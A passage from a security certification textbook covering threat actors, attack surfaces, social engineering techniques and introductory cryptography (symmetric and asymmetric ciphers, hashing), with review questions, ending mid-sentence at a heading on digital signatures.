nation-state actors. (Screenshot © 2023 The MITRE Corporation. This work is reproduced
and distributed with the permission of The MITRE Corporation.)

State actors will work at arm’s length from the national government, military, or
security service that sponsors and protects them, maintaining “plausible deniability.”
They are likely to pose as independent groups or even as hacktivists. They may
wage false flag disinformation campaigns that try to implicate other states.

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Organized Crime and Competitors

In many countries, cybercrime has overtaken physical crime in terms of the number
of incidents and losses. Organized crime can operate across the Internet from
a different jurisdiction than its victim, increasing the complexity of prosecution.
Criminals will seek any opportunity for profit, but typical activities are financial
fraud—against individuals and companies—and blackmail/extortion.
Most espionage is thought to be pursued by state actors, but it is not inconceivable
that a rogue business might use cyber espionage against its competitors. Such
attacks could aim at theft or to disrupt a competitor’s business or damage their
reputation. Competitor attacks might be facilitated by employees who have recently
changed companies and bring insider knowledge with them.

Internal Threat Actors

Many threat actors operate externally from the networks they target. An external actor
has to break into the system without having any legitimate permissions. An internal
threat (or insider threat) arises from an actor identified by the organization and granted
some type of access. Within this group of internal threats, you can distinguish insiders
with permanent privileges, such as employees, from insiders with temporary privileges,
such as contractors and guests.

There is the blurred case of former insiders, such as ex-employees now working at
another company or who have been dismissed and now harbor a grievance. These can
be classified as internal threats or treated as external threats with insider knowledge,
and possibly some residual permissions, if effective offboarding controls are not
in place.
The main motivators for a malicious internal threat actor are revenge and financial
gain. Like external threats, insider threats can be opportunistic or targeted. An
employee who plans and executes a campaign to modify invoices and divert funds
is launching a structured attack; an employee who tries to guess the password
on the salary database a couple of times, having noticed that the file is available
on the network, is perpetrating an opportunistic attack. You must also assess the
possibility that an insider threat may be working in collaboration with an external
threat actor or group.

A whistleblower is someone with an ethical motivation for releasing confidential

information. While this could be classed as an internal threat in some respects, it is
important to realize that whistleblowers making protected disclosures, such as reporting
financial fraud through an authorized channel, cannot themselves be threatened or
labeled in any way that seems retaliatory or punitive.

Insider threats can also arise from unintentional sources. Unintentional or

inadvertent insider threat is often caused by lack of awareness or carelessness,
such as users demonstrating poor password management. Another example of
unintentional insider threat is the concept of shadow IT, where users purchase or
introduce computer hardware or software to the workplace without the sanction of
the IT department and without going through a procurement and security analysis
process. The problem of shadow IT is exacerbated by the proliferation of cloud
services and mobile devices, which are easy for users to obtain. Shadow IT creates a
new unmonitored attack surface for malicious adversaries to exploit.

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Review Activity:
Threat Actors
3

Answer the following questions:

1. Which of the following would be assessed by likelihood and impact:

vulnerability, threat, or risk?

2. True or false? Nation-state actors only pose a risk to other states.

2.

3. You receive an email with a screenshot showing a command prompt

3.

at one of your application servers. The email suggests you engage the
hacker for a day’s consultancy to patch the vulnerability. How should
you categorize this threat?

4. Which type of threat actor is primarily motivated by the desire for

4.

political change?

5. Which three types of threat actor are most likely to have high levels of
5.

funding?

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Topic 2B
Attack Surfaces
6

EXAM OBJECTIVES COVERED

2.2 Explain common threat vectors and attack surfaces.

Understanding the methods by which threat actors infiltrate networks and systems
is essential for you to assess the attack surface of your networks and deploy
controls to block attack vectors.

Attack Surface and Threat Vectors

The attack surface is all the points at which a malicious threat actor could try to
exploit a vulnerability. Any location or method where a threat actor can interact
with a network port, app, computer, or user is part of a potential attack surface.
Minimizing the attack surface means restricting access so that only a few known
endpoints, protocols/ports, and services/methods are permitted. Each of these
must be assessed for vulnerabilities and monitored for intrusions.

Assessing the attack surface.

An organization has an overall attack surface. You can also assess attack surfaces at
more limited scopes, such as that of a single server or computer, a web application, or
employee identities and accounts.

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To evaluate the attack surface, you need to consider the attributes of threat actors
that pose the most risk to your organization. For example, the attack surface for an
external actor should be far smaller than that for an insider threat.
From a threat actor’s perspective, each part of the attack surface represents a
potential vector for attempting an intrusion. A threat vector is the path that a
threat actor uses to execute a data exfiltration, service disruption, or disinformation
attack. Sophisticated threat actors will make use of multiple vectors. They are likely
to plan a multistage campaign, rather than a single “smash and grab” type of raid.
Highly capable threat actors will be able to develop novel vectors. This means that
the threat actor’s knowledge of your organization’s attack surface may be better
than your own.

The terms "threat vector" and "attack vector" are often taken to mean the same thing.
Some sources distinguish the use of threat vector to refer to analysis of the potential
attack surface and attack vector to analyze an exploit that has been successfully
executed.

Vulnerable Software Vectors

Vulnerable software contains a flaw in its code or design that can be exploited to
circumvent access control or to crash the process. Typically, vulnerabilities can only
be exploited in quite specific circumstances and are often fixed—patched—swiftly
by the vendor. However, because of the complexity of modern software and the
speed with which new versions must be released to market, almost no software is
free from vulnerabilities. Also, an organization might not have an effective patch
management system. Consequently, vulnerable software is a commonly exploited
threat vector.
A large number of operating systems and applications run on a company’s
appliances, servers, clients, and cloud networks directly increases the potential
attack surface. This attack surface can be reduced by consolidating to fewer
products and by ensuring the same version of a product is deployed across the
organization.
The impact and consequences of a software vulnerability are varied. As two
contrasting examples, consider vulnerabilities affecting Adobe’s PDF document
reader versus a vulnerability in the server software underpinning transport security.
The former could give a threat actor a foothold on a corporate network via a
workstation; the latter could compromise the cryptographic keys used to provide
secure web services. Both are potentially high impact for different reasons.

Unsupported Systems and Applications

Unsupported systems and applications are a particular reason that vulnerable
software will be exposed as a threat vector. An unsupported system is one where
its vendor no longer develops updates and patches. Unless the organization is able
to patch the faulty code itself, these services and apps will be highly vulnerable to
exploits.

One strategy for dealing with unsupported apps that cannot be replaced is to try to
isolate them from other systems. The idea is to reduce opportunities for a threat actor
to access the vulnerable app and run exploit code. Using isolation as a substitute for
patch management is an example of a compensating control.

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Client-Based versus Agentless

Scanning software helps organizations to automate the discovery and classification
of software vulnerabilities. These tools can also be used by threat actors as part of
reconnaissance against a target. This scanning software can be implemented as
a client-based agent. The agent runs as a scanning process installed on each host
and reports to a management server. Alternatively, the vulnerability management
product might use agentless techniques to scan a host without requiring any
sort of installation. Agentless scanning is most likely to be used in threat actor
reconnaissance.

Network Vectors
Vulnerable software gives a threat actor the opportunity to execute malicious code
on a system. To do this, the threat actor must be able to run exploit code on the
system or over a network to trigger the vulnerability. An exploit technique for any
given software vulnerability can be classed as either remote or local:
• Remote means that the vulnerability can be exploited by sending code to the
target over a network and does not depend on an authenticated session with the
system to execute.

• Local means that the exploit code must be executed from an authenticated
session on the computer. The attack could still occur over a network, but the
threat actor needs to use some valid credentials or hijack an existing session to
execute it.

Consequently, to minimize risks from software vulnerabilities, administrators must

reduce the attack surface by eliminating unsecure networks. An unsecure network
is one that lacks the attributes of confidentiality, integrity, and availability:
• Lack of Confidentiality—threat actors are able to snoop on network traffic and
recover passwords or other sensitive information. These are also described as
eavesdropping attacks.

• Lack of Integrity—threat actors are able to attach unauthorized devices. These

could be used to snoop on traffic or intercept and modify it, run spoofed services
and apps, or run exploit code against other network hosts. These are often
described as on-path attacks.

• Lack of Availability—threat actors are able to perform service disruption

attacks. These are also described as denial of service (DoS) attacks.

A secure network uses an access control framework and cryptographic solutions to

identify, authenticate, authorize, and audit network users, hosts, and traffic.
Some specific threat vectors associated with unsecure networks are as follows:
• Direct Access—the threat actor uses physical access to the site to perpetrate an
attack. Examples could include getting access to an unlocked workstation; using
a boot disk to try to install malicious tools; or physically stealing a PC, laptop, or
disk drive.

• Wired Network—a threat actor with access to the site attaches an

unauthorized device to a physical network port, and the device is permitted to
communicate with other hosts. This potentially allows the threat actor to launch
eavesdropping, on-path, and DoS attacks.

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• Remote and Wireless Network—the attacker either obtains credentials for

a remote access or wireless connection to the network or cracks the security
protocols used for authentication. Alternatively, the attacker spoofs a trusted
resource, such as an access point, and uses it to perform credential harvesting
and then uses the stolen account details to access the network.

• Cloud Access—many companies now run part or all of their network services via
Internet-accessible clouds. The attacker only needs to find one account, service,
or host with weak credentials to gain access. The attacker is likely to target the
accounts used to develop services in the cloud or manage cloud systems. They
may also try to attack the cloud service provider (CSP) as a way of accessing the
victim system.

• Bluetooth Network—the threat actor exploits a vulnerability or

misconfiguration to transmit a malicious file to a user’s device over the Bluetooth
personal area wireless networking protocol.

• Default Credentials—the attacker gains control of a network device or app

because it has been left configured with a default password. Default credentials
are likely to be published in the product’s setup documentation or are otherwise
easy to discover.

• Open service port—the threat actor is able to establish an unauthenticated

connection to a logical TCP or UDP network port. The server will run an
application to process network traffic arriving over the port. The software
might be vulnerable to exploit code or to service disruption.

Servers have to open necessary ports to make authorized network applications and
services work. However, as part of reducing the attack surface, servers should not be
configured to allow traffic on any unnecessary ports. Networks can use secure design
principles, access control, firewalls, and intrusion detection to reduce the attack surface.

Lure-Based Vectors
A lure is something superficially attractive or interesting that causes its target to
want it, even though it may be concealing something dangerous, like a hook. In
cybersecurity terms, when the target opens the file bait, it delivers a malicious
payload hook that will typically give the threat actor control over the system or
perform service disruption.
If the threat actor cannot gain sufficient access to run a remote or local exploit
directly, a lure might trick a user into facilitating the attack. The following media are
commonly used as lures:
• Removable Device—the attacker conceals malware on a USB thumb drive or
memory card and tries to trick employees into connecting the media to a PC,
laptop, or smartphone. For some exploits, simply connecting the media may
be sufficient to run the malware. More typically, the attacker may need the
employee to open a file in a vulnerable application or run a setup program.

In a drop attack, the threat actor simply leaves infected USB sticks in office grounds,
reception areas, or parking lots in the expectation that at least one employee will pick
one up and plug it into a computer.

• Executable File—the threat actor conceals exploit code in a program file.

One example is Trojan Horse malware. A Trojan is a program that seems to
be something free and useful or fun, but it actually contains a process that will
create backdoor access to the computer for the threat actor.

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• Document Files—the threat actor conceals malicious code by embedding it

in word processing and PDF format files. This can take advantage of scripting
features, or simply exploit a vulnerability in the document viewer or editor
software.

• Image Files—the threat actor conceals exploit code within an image file that
targets a vulnerability in browser or document editing software.

These vectors expose a large and diverse attack surface, from the USB and flash
card readers installed on most computers to the software used to browse websites
and view/edit documents. Reducing this attack surface requires effective endpoint
security management, using controls such as vulnerability management, antivirus,
program execution control, and intrusion detection.

Message-Based Vectors
When using a file-based lure, the threat actor needs a mechanism to deliver the
file and a message that will trick a user into opening the file on their computer.
Consequently, any features that allow direct messaging to network users must be
considered as part of the potential attack surface:
• Email—the attacker sends a malicious file attachment via email, or via any other
communications system that allows attachments. The attacker needs to use
social engineering techniques to persuade or trick the user into opening the
attachment.

• Short Message Service (SMS)—the file or a link to the file is sent to a mobile
device using the text messaging handler built into smartphone firmware
and a protocol called Signaling System 7 (SS7). SMS and the SS7 protocol are
associated with numerous vulnerabilities. Additionally, an organization is unlikely
to have any monitoring capability for SMS as it is operated by the handset or
subscriber identity module (SIM) card provider.

• Instant Messaging (IM)—there are many replacements for SMS that run on
Windows, Android, or iOS devices. These can support voice and video messaging
plus file attachments. Most of these services are secured using encryption and
offer considerably more security than SMS, but they can still contain software
vulnerabilities. The use of encryption can make it difficult for an organization to
scan messages and attachments for threats.

• Web and Social Media—malware may be concealed in files attached to posts

or presented as downloads. An attacker may compromise a site so that it
automatically infects vulnerable browser software (a drive-by download). Social
media may also be used more subtly, such as a disinformation campaign that
persuades users to install a “must-have” app that is actually a Trojan.

The most powerful exploits are zero-click. Most file-based exploit code has to be
deliberately opened by the user. Zero-click means that simply receiving an attachment
or viewing an image on a webpage triggers the exploit.

Message-based vectors can also be exploited by a threat actor to persuade a user to

reveal a password or weaken the security configuration using some type of pretext.
This type of attack might be perpetrated simply by placing a voice call to the user.

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Supply Chain Attack Surface

A supply chain is the end-to-end process of designing, manufacturing, and
distributing goods and services to a customer. Rather than attack the target directly,
a threat actor may seek ways to infiltrate it via companies in its supply chain.
One high-profile example of this is the Target data breach, which was made via
credentials held by the company’s building systems vendor.
The process of ensuring reliable sources of equipment and software is called
procurement management. In procurement management, it is helpful to distinguish
several types of relationships:
• Supplier—obtains products directly from a manufacturer to sell in bulk to other
businesses. This type of trade is referred to as business to business (B2B).

• Vendor—obtains products from suppliers to sell to retail businesses (B2B) or

directly to customers (B2C). A vendor might add some level of customization and
direct support.

• Business Partner— implies a closer relationship where two companies share

quite closely aligned goals and marketing opportunities.

For example, Microsoft is a major software manufacturer and vendor, but it is

not feasible for it to establish direct relationships with all its potential customers.
To expand its markets, it develops partner relationships with original equipment
manufacturers (OEMs) and solutions partners. Microsoft operates a program of
certification and training for its partners, which improves product support and
security awareness.
Each supplier and vendor has its own supply chain. For example, a motherboard
manufacturer and supplier will use companies to fabricate individual chip
components. The supply chain extends to distribution, so delivery companies and
couriers are part of it.
This supply chain breadth and complexity expose organizations to a huge attack
surface. For example, for a computer motherboard to be trustworthy, the supply
chain of chip manufacturer, firmware code developer, OEM reseller, courier delivery
company, and administrative staff responsible for provisioning the computing
device to the end user must all be trustworthy. Anyone with the time and resources
to modify the computer’s firmware could create backdoor access. The same is true
for any computer or network hardware, software, or service.
Establishing a trusted supply chain for computer equipment and services essentially
means denying malicious actors the time or resources to modify the assets
supplied.

For most businesses, use of reputable vendors will represent the best practical effort at
securing the supply chain. Government, military/security services, and large enterprises
will exercise greater scrutiny. Particular care should be taken if using secondhand
machines.

The IT industry also depends on trade in services as well as physical assets. A

managed services provider (MSP) provisions and supports IT resources such as
networks, security, or web infrastructure. MSPs are useful when an organization
finds it cheaper or more reliable to outsource all or part of IT provision rather than
try to manage it directly. From a security point of view, this type of outsourcing
is complex as it can be difficult to monitor the MSP. The MSP’s employees are all
potential sources of insider threat.

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Review Activity:
Attack Surfaces
7

Answer the following questions:

1. A company uses stock photos from a site distributing copyright-

free media to illustrate its websites and internal presentations.
Subsequently, one of the company’s computers is found infected with
malware that was downloaded by code embedded in the headers of
a photo file obtained from the site. What threat vector(s) does this
attack use?

2. A company’s systems are disrupted by a ransomware attack launched

via a vulnerability in a network monitoring tool used by the company’s
outsourced IT management. Aside from a software vulnerability, what
part of the company’s attack surface has been used as a threat vector?

3. A company uses cell phones to provide IT support to its remote

employees, but it does not maintain an authoritative directory of
contact numbers for support staff. Risks from which specific threat
vector are substantially increased by this oversight?

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Topic 2C
Social Engineering
4

EXAM OBJECTIVES COVERED

2.2 Explain common threat vectors and attack surfaces.

People—employees, contractors, suppliers, and customers—represent part of

the attack surface of any organization. Collectively, they are referred to as the
human vector. A person with permissions on the system is a potential target of
manipulative threat actor techniques known as social engineering. Being able to
compare and contrast social engineering techniques will help you to lead security
awareness training and to develop policies and other security controls to mitigate
these risks.

Human Vectors
Adversaries can use a diverse range of techniques to compromise a security system.
A prerequisite of many types of attacks is to obtain information about the network
and security system. This knowledge is not only stored on computer disks; it also
exists in the minds of employees and contractors. The people operating computers
and accounts are a part of the attack surface referred to as human vectors.
Social engineering refers to means of either eliciting information from someone
or getting them to perform some action for the threat actor. It can also be referred
to as “hacking the human.” A threat actor might use social engineering to gather
intelligence as reconnaissance in preparation for an intrusion or to effect an actual
intrusion by obtaining account credentials or persuading the target to run malware.
There are many diverse social engineering strategies, but to illustrate the concept,
consider the following scenarios:
• A threat actor creates an executable file that prompts a network user for their
password and then records whatever the user inputs. The attacker then emails
the executable file to the user with the story that the user must open the file and
log on to the network again to clear up some login problems the organization
has been experiencing that morning. After the user complies, the attacker now
has access to their network credentials.

• A threat actor contacts the help desk pretending to be a remote sales

representative who needs assistance setting up remote access. Through a series
of phone calls, the attacker obtains the name/address of the remote access
server and login credentials, in addition to phone numbers for remote access
and for accessing the organization’s private phone and voice-mail system.

• A threat actor triggers a fire alarm and then slips into the building during the
confusion and attaches a monitoring device to a network port.

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Impersonation and Pretexting

Impersonation simply means pretending to be someone else. It is one of the basic
social engineering techniques. Impersonation is possible when the target cannot
verify the attacker’s identity easily, such as over the phone or via an email message.
A threat actor will typically use one of two approaches:
• Persuasive/consensus/liking—convince the target that the request is a natural
one that would be impolite or somehow “odd” to refuse.

• Coercion/threat/urgency—intimidate the target with a bogus appeal to

authority or penalty, such as getting fired or not acting quickly enough to prevent
some dire outcome.

The classic impersonation attack is for the social engineer to phone into a
department, claim they have to adjust something on the user’s system remotely,
and then get the user to reveal their password.

Do you really know who's on the other end of the line? (Image © 123RF.com.)

The use of a carefully crafted story with convincing or intimidating details is referred
to as pretexting. Making a convincing impersonation to either charm or intimidate
a target usually depends on the attacker obtaining privileged information about
the organization. For example, when the attacker impersonates a member of the
organization’s IT support team, the attack will be more effective with the identity
details of the person being impersonated and the target.
Some social engineering techniques are dedicated to obtaining this type of
intelligence as a reconnaissance activity. As most companies are set up toward
customer service rather than security, this information is typically quite easy to
come by. Information that might seem innocuous—such as department employee
lists, job titles, phone numbers, diaries, invoices, or purchase orders—can help an
attacker penetrate an organization through impersonation.

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Phishing and Pharming

Phishing is a combination of social engineering and spoofing. It persuades or tricks
the target into interacting with a malicious resource disguised as a trusted one,
traditionally using email as the vector. A phishing message might try to convince
the user to perform some action, such as installing disguised malware or allowing a
remote access connection by the attacker.
Other types of phishing campaigns use a spoof website set up to imitate a bank
or e‑commerce site or some other web resource that should be trusted by the
target. The attacker then emails users of the genuine website to inform them that
their account must be updated or with a hoax alert or alarm, supplying a disguised
link that actually leads to the spoofed site. When the user authenticates with the
spoofed site, their login credentials are captured.

Example phishing email—On the right, you can see the message in its true form
as the mail client has stripped out the formatting (shown on the left)
designed to disguise the nature of the links.

Phishing refers specifically to email or text message threat vectors. The same sort of
attack can be performed over other types of media:
• Vishing—a phishing attack conducted through a voice channel (telephone or
VoIP, for instance). For example, targets could be called by someone purporting
to represent their bank asking them to verify a recent credit card transaction and
requesting their security details. It can be much more difficult for someone to
refuse a request made in a phone call compared to one made in an email.

Rapid improvements in deep fake technology are likely to make phishing attempts via
voice and even video messaging more prevalent in the future.

• SMiShing—a phishing attack that uses simple message service (SMS) text
communications as the vector.

Direct messages to a single contact have a high chance of failure. Other social
engineering techniques still use spoofed resources, such as fake sites and login
pages, but rely on redirection or passive methods to entrap victims.

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A pharming attack is one that redirects users from a legitimate website to a

malicious one. Rather than using social engineering techniques to trick the user,
pharming relies on corrupting the way the victim’s computer performs Internet
name resolution so that they are redirected from the genuine site to the malicious
one. For example, if mybank.foo should point to the IP address 2.2.2.2, a pharming
attack would corrupt the name resolution process to make it point to IP address
6.6.6.6.

Typosquatting
Phishing and pharming both depend on impersonation to succeed. The spoofed
message or site must appear to derive from a source that the target trusts. A
threat actor can use various inconsistencies in the way the message’s source is
represented in a mail client to trick the target into trusting the message source.
Email client software does not always identify the actual email address used to
send the message. Instead, it displays a “From” field where a threat actor can add
an arbitrary value. This technique is less common now as filtering software can be
configured to alert the user to any discrepancy between the actual and claimed
sender addresses.
Typosquatting means that the threat actor registers a domain name very similar
to a real one, such as exannple.com, hoping that users will not notice the difference
and assume they are browsing a trusted site or receiving email from a known
source. These are also referred to as cousin, lookalike, or doppelganger domains.
Another technique is to register a hijacked subdomain using the primary domain
of a trusted cloud provider, such as onmicrosoft.com. If a phishing message
appears to come from example.onmicrosoft.com, many users will be
inclined to trust it.

Business Email Compromise

Where phishing is typically associated with mass mailer attacks, business email
compromise refers to a sophisticated campaign that targets a specific individual
within a company, typically an executive or senior manager. The threat actor poses
as a colleague, business partner, or vendor. The threat actor is likely to perform
reconnaissance to obtain a detailed understanding of the target and the best
psychological approach and pretexts to trick them. They are unlikely to use obvious
features of mass mailer phishing messages such as spoofed links or malware file
attachments.
To perpetrate this type of high-stakes attack, the threat actor might try to first gain
control of a legitimate mail account to use to send the phishing messages.

Some sources use the term "business email compromise" to mean an attack with a
specific financial motivation, where the objective is to persuade a budget holder to
authorize a fraudulent payment or wire transfer. Similar terminology for highly targeted
attacks includes spear phishing, whaling, CEO fraud (impersonating the CEO), and
angler phishing (using social media as the vector).

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Brand Impersonation and Disinformation

Brand impersonation means the threat actor commits resources to accurately
duplicating a company’s logos and formatting (fonts, colors, and heading/body
paragraph styles) to make a phishing message or pharming website a visually
compelling fake. The threat actor could even mimic the style or tone of email
communications or website copy. They could try to get a phishing site listed high in
search results by using realistic content. Disinformation/misinformation tactics
could be used to create fake social media posts or referrers (sites that link to the
fake site) to boost search ranking.
Disinformation refers to a purposeful motivation to deceive. Misinformation
refers to repeating false claims or rumors without the intention to deceive. A
disinformation campaign might attempt to get others to repeat and amplify the
false facts it creates as misinformation.

Watering Hole Attack

A watering hole attack relies on a group of targets that use an unsecure third-party
website. For example, staff running an international e-commerce site might use
a local pizza delivery firm. A threat actor might discover this fact through social
engineering or other reconnaissance of the target. An attacker can compromise
the pizza delivery firm’s website so that it runs exploit code on visitors. They may
be able to infect the computers of the e-commerce company’s employees and
penetrate the e-commerce company systems.

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Review Activity:
Social Engineering
5

Answer the following questions:

1. The help desk takes a call, and the caller states that she cannot connect
to the e-commerce website to check her order status. She would also
like a username and password. The user gives a valid customer company
name but is not listed as a contact in the customer database. The user
does not know the correct company code or customer ID. Is this likely to
be a social engineering attempt, or is it a false alarm?

2. A purchasing manager is browsing a list of products on a vendor’s

2.

website when a window opens claiming that antimalware software has

detected several thousand files on their computer that are infected with
viruses. Instructions in the official-looking window indicate the user
should click a link to install software that will remove these infections.
What type of social engineering attempt is this, or is it a false alarm?

3. Your CEO calls to request market research data immediately be

3.

forwarded to their personal email address. You recognize their voice,

but a proper request form has not been filled out and use of third-party
email is prohibited. They state that normally they would fill out the
form and should not be an exception, but they urgently need the data to
prepare for a roundtable at a conference they are attending. What type
of social engineering techniques could this use, or is it a false alarm?

4. A company policy states that any wire transfer above a certain value
must be authorized by two employees, who must separately perform
due diligence to verify invoice details. What specific type of social
engineering is this policy designed to mitigate?

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Lesson 2
Summary
5

You should be able to explain how to assess external and insider threat actor types
in terms of intent and capability. You should also be able to summarize the vectors
that make up an organization’s attack surface.

Guidelines for Comparing Threat Actors and

Attack Surfaces
Follow these guidelines when you assess the use of threat research and analysis:
• Create a profile of threat actor types that pose the most likely threats to your
business. Remember that you may be targeted as the supplier to a larger
enterprise.

• Use analysis of business workflows and asset inventories to identify the

organization’s attack surface.

• Use research to extend understanding of the attack surface into specific threat
vectors such as vulnerable software, unsecure networks, supply chain, and
message-based attacks and lures that target the human vector.

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 Lesson 3
Explain Cryptographic Solutions
1

LESSON INTRODUCTION
The protect cybersecurity function aims to build secure IT processing systems that
exhibit the attributes of confidentiality, integrity, and availability. Many of these
systems depend wholly or in part on cryptography.
As an information security professional, you must understand the concepts
underpinning cryptographic algorithms and their implementation in secure
protocols and services. A strong technical understanding of the subject will enable
you to explain the importance of cryptographic systems and to select appropriate
technologies to meet a given security goal.

Lesson Objectives
In this lesson, you will do the following:
• Compare and contrast cryptographic algorithms.

• Explain the importance of public key infrastructure and digital certificates.

• Explain the importance of using appropriate cryptographic solutions for

encryption and key exchange.

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Topic 3A
Cryptographic Algorithms
2

EXAM OBJECTIVES COVERED

1.4 Explain the importance of using appropriate cryptographic solutions.

A cryptographic algorithm is the particular operations performed to encode or

decode data. Modern cryptographic systems use symmetric and asymmetric
algorithm types to encode and decode data. As well as these types of encryption,
one-way cryptographic hash functions have an important role to play in many
security controls. Being able to compare and contrast the characteristics of these
types of cryptographic algorithms and functions is essential for you to deploy
security controls for different use cases.

Cryptographic Concepts
Cryptography, which literally means “secret writing,” is the art of making
information secure by encoding it. This is the opposite of security through
obscurity. Security through obscurity means keeping something a secret by hiding
it. This is considered impossible (or at least high risk) on a computer system. With
cryptography, it does not matter if third parties know of the existence and location
of the secret, because they can never understand what it is without the means to
decode it.
The following terminology is used to discuss cryptography:
• Plaintext (or cleartext)—is an unencrypted message.

• Ciphertext—is an encrypted message.

• Algorithm—is the process used to encrypt and decrypt a message.

• Cryptanalysis—is the art of cracking cryptographic systems.

In discussing cryptography and attacks against encryption systems, it is customary

to use a cast of characters to describe different actors involved in the process of an
attack. The main characters are as follows:
• Alice—the sender of a genuine message.

• Bob—the intended recipient of the message.

• Mallory—a malicious attacker attempting to subvert the message in some way.

There are three main types of cryptographic algorithms with different roles to play
in the assurance of the security properties confidentiality, integrity, availability, and
non-repudiation. These types are hashing algorithms and two types of encryption
ciphers: symmetric and asymmetric.

Lesson 3: Explain Cryptographic Solutions | Topic 3A

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Symmetric Encryption
An encryption algorithm or cipher is a type of cryptographic process that encodes
data so that it can be stored or transmitted securely and then decrypted only by its
owner or its intended recipient. Using a key with the encryption cipher ensures that
decryption can only be performed by an authorized person.

Substitution and Transposition Algorithms

To understand how an algorithm works it is helpful to consider simple substitution
and transposition algorithms. A substitution cipher involves replacing characters or
blocks in the plaintext with different ciphertext. Simple substitution ciphers rotate
or scramble letters of the alphabet. For example, ROT13 rotates each letter 13
places, so A becomes N, for instance. The ciphertext “Uryyb Jbeyq” can be decrypted
as the plaintext “Hello World.”
In contrast to substitution ciphers, the units in a transposition cipher stay the
same in plaintext and ciphertext, but their order is changed, according to some
mechanism. Consider how the ciphertext “HLOOLELWRD” has been produced:
H L O O L
E L W R D
The letters are written as columns and then the rows are concatenated to make the
ciphertext.
Modern encryption algorithms use these basic techniques of substitution and
transposition in complex ways that can defeat attempts at cryptanalysis.

Symmetric Algorithms
A symmetric algorithm is one in which encryption and decryption are both
performed by the same secret key. The secret key must be kept known to
authorized persons only. If the key is lost or stolen, the security is breached.
Symmetric encryption is used for confidentiality. For example, Alice and Bob can
share a confidential file in the following way:
1. Alice and Bob meet to agree which cipher to use and a secret key value. They
both record the value of the secret key, making sure that no one else can
discover it.

2. Alice encrypts a file using the cipher and key.

3. Alice sends only the ciphertext to Bob over the network.

4. Bob receives the ciphertext and is able to decrypt it by applying the same
cipher with his copy of the secret key.

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Symmetric encryption operation and weaknesses (Images © 123RF.com).

Symmetric encryption is very fast. It is used for bulk encryption of large amounts of
data. The main problem is how Alice and Bob “meet” to agree upon or exchange the
key. If Mallory intercepts the key and obtains the ciphertext, the security is broken.

Note that symmetric encryption cannot be used for authentication or integrity. Alice and
Bob are able to create exactly the same secrets, because they both know the same key.

Key Length
Encryption algorithms use a key to increase the security of the process. For
example, if you consider the substitution cipher ROT13, you should realize that the
key is 13. You could use 17 to achieve a different ciphertext from the same method.
The key is important because it means that even if the cipher method is known, a
message still cannot be decrypted without knowledge of the specific key.
A keyspace is the range of values that the key could be. In the ROT13 example, the
keyspace is 25 (ROT1. . . ROT25). Using ROT0 or ROT26 would result in ciphertext
identical to the plaintext. Using a value greater than 26 to shift through the alphabet
multiple times is equivalent to a key from the 1-25 range. ROT0 and ROT26+ are
weak keys and should not be used.
Modern ciphers use large keyspaces where there are trillions of possible key values.
This makes the key difficult to discover via brute force cryptanalysis. Brute force
cryptanalysis means attempting decryption of the ciphertext with every possible key
value and reading the result to determine if it is still gibberish or plaintext.
Keys for modern symmetric ciphers use a pseudorandomly generated number of
bits. The number of bits is the key length. For example, the most commonly used
symmetric cipher is the Advanced Encryption Standard (AES). This can be used with
two key lengths. AES-128 uses a 128-bit key length. A bit can have one of two values
(0 or 1), so the number of possible key values is two multiplied by itself a number of
times equivalent to the key length. This is written as 2128, where 2 is the base and 128
is the exponent. AES-256 has a keyspace of 2256. This keyspace is not twice as large
as AES-128; it is many trillions of times bigger and consequently signicantly more
resistant to brute force attacks.

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The drawback of using larger keys is that the computer must use more memory and
proccessor cycles to perform encryption and decryption.

Asymmetric Encryption
In a symmetric encryption cipher, the same secret key is used to perform both
encryption and decryption operations. With an asymmetric algorithm, encryption
and decryption are performed by two different but related public and private keys
in a key pair.
When a public key is used to encrypt a message, only the paired private key can
decrypt the ciphertext. The public key cannot be used to decrypt the ciphertext. The
keys are generated in a way that it makes it impossible to derive the private key
from the public key. This means that the key pair owner can distribute the public
key to anyone they want to receive secure messages from:
1. Bob generates a key pair and keeps the private key secret.

2. Bob publishes the public key. Alice wants to send Bob a confidential message
so they take a copy of Bob’s public key.

3. Alice uses Bob’s public key to encrypt the message.

4. Alice sends the ciphertext to Bob.

5. Bob receives the message and is able to decrypt it using their private key.

6. If Mallory has been snooping, they can intercept both the message and the
public key.

7. However, Mallory cannot use the public key to decrypt the message, so the
system remains secure.

Asymmetric encryption (Images © 123RF.com)

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The drawback of asymmetric encryption is that it involves substantial computing

overhead compared to symmetric encryption. Where a large amount of data is
being encrypted on disk or transported over a network, asymmetric encryption is
inefficient. Rather than being used to encrypt the bulk data directly, the public key
cipher can be used to encrypt a symmetric secret key. This allows Alice and Bob to
exchange a bulk encryption session key without Mallory being able to learn it.

Asymmetic encryption can be implemented using a number of algorithms. Each

algorithm has a different recommended key length. The Rivest, Shamir, Adelman (RSA)
asymmetric cipher requires a 2,048-bit private key to achieve an acceptable level of
security. The Elliptic Curve Cryptography (ECC) asymmetric cipher can use 256-bit
private keys to achieve a level of security equivalent to a 3,072-bit RSA key.

Hashing
A cryptographic hashing algorithm produces a fixed-length string of bits from an
input plaintext that can be of any length. The output can be referred to as a hash or
as a message digest. The function is designed so that it is impossible to recover the
plaintext data from the digest (one-way) and so that different inputs are unlikely to
produce the same output (a collision).
A hashing algorithm is used to prove integrity. For example, Bob and Alice can
compare the values used for a password in the following way:
1. Bob has a digest calculated from Alice’s plaintext password. Bob cannot
recover the plaintext password value from the hash.

2. When Alice needs to authenticate to Bob, they type their password, converts it
to a hash, and sends the digest to Bob.

3. Bob compares Alice’s digest to the hash value on file. If they match, Bob can
be sure that Alice typed the same password.

As well as comparing password values, a hash of a file can be used to verify the
integrity of that file after transfer.
1. Alice runs a hash function on the setup.exe file for their product. They publish
the digest on their website with a download link for the file.

2. Bob downloads the setup.exe file and makes a copy of the digest.

3. Bob runs the same hash function on the downloaded setup.exe file and
compares it to the reference value published by Alice. If it matches the value
published on the website, Bob assumes the file has integrity.

4. Consider that Mallory might be able to substitute the download file for a
malicious file. Mallory cannot change the reference hash, however.

5. This time, Bob computes a hash but it does not match, leading him to suspect
that the file has been tampered with.

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Confirming a file download using cryptographic hashes (Images © 123RF.com)

There are two popular implementations of hash algorithms:

• Secure Hash Algorithm (SHA)—considered the strongest algorithm. There are
variants that produce different-sized outputs, with longer digests considered
more secure. The most popular variant is SHA256, which produces a 256-bit
digest.

• Message Digest Algorithm #5 (MD5)—produces a 128-bit digest. MD5 is not

considered to be quite as safe for use as SHA256, but it might be required for
compatibility between security products.

Computing an SHA value from a file (Screenshot used with permission from Microsoft.)

Digital Signatures
A single hash function, symmetric cipher, or asymmetric cipher is called a
